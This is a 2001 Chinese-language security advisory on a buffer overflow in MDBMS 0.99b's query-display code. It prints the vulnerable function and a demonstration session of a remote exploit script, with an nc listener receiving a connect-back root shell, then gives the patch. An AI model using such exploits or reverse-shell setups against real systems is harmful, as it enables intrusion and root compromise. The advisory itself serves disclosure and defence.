MDBMS查询显示缓冲区溢出漏洞
发布日期:2001-06-12
更新日期:2001-06-22
受影响系统:
Marty Bochane MDBMS 0.99b9
- RedHat Linux 7.1
- RedHat Linux 7.0
Marty Bochane MDBMS 0.99b6
Marty Bochane MDBMS 0.99b5
Marty Bochane MDBMS 0.99b4
Marty Bochane MDBMS 0.96b6
描述:
BUGTRAQ ID: 2867
CVE(CAN) ID:
CAN-2001-0818
MDBMS是UNIX平台下的关系数据库管理系统,当用“\s”命令来显示查询结果时,如果
这个结果的数据量比较大的话,就会导致缓冲区溢出。
有问题的代码在interface.cc文件中:
void user::uprintf(char *s, ...)
{
char b[10000];
int len=strlen(outbuf), newlen;
va_list ap;
va_start(ap,s);
vsprintf(b,s,ap); <----
va_end(ap);
newlen=strlen(b);
while (newlen+len+10>=outsize) outbuf=(char*)realloc(outbuf,outsize+=1000);
strcat(outbuf,b);
FD_SET(fd,&parent->wmask);
}
远程用户可以利用这个漏洞以root身份执行任意代码。
<*来源:teleh0r (
teleh0r@digit-labs.org) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
[teleh0r@localhost mdbms]$ ./mdbms-pms.pl
-- Remote code execution exploit - MDBMS <= 0.99b
-- <teleh0r@digit-labs.org> - Copyright (c) 2001
Usage: ./mdbms-pms.pl -t <hostname> -b <back>
-t <hostname> : hostname to test
-b <back> : connect back to ip
-p <port> : port (default: 2223)
-d <delay> : delay before timeout
-o <offset> : offset
-h : return to heap
[teleh0r@localhost mdbms]$ nc -l -v -p 1337 &
[1] 2070
listening on [any] 1337 ...
[teleh0r@localhost mdbms]$ ./mdbms-pms.pl -t 127.1 -b localhost -h
-- Remote code execution exploit - MDBMS <= 0.99b
-- <teleh0r@digit-labs.org> - Copyright (c) 2001
-> Connected to: 127.1 / MDBMS V0.99b9 ready.
-> Address : 0x302027d / xor-mask: 0x2020202
-> Return : 0x80cfe76 / using the heap ...
-> Sending payload: ...
-> * Successfully sent payload - good luck!
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 1189
[teleh0r@localhost mdbms]$ %
nc -l -v -p 1337
whoami; uname -mnrsp
root
Linux localhost.localdomain 2.4.2-2 i686 unknown
演示程序可以在这里下载:
http://marc.theaimsgroup.com/?l=bugtraq&m=99246929531406&q=p3
建议:
解决方法:
请升级到最新版本
厂商补丁:
MDBMS 1.0已经解决了这个安全问题:
http://www.hinttech.com/mdbms/tar/mdbms1.0.source.tar.gz
浏览次数:4985
严重程度:0(网友投票)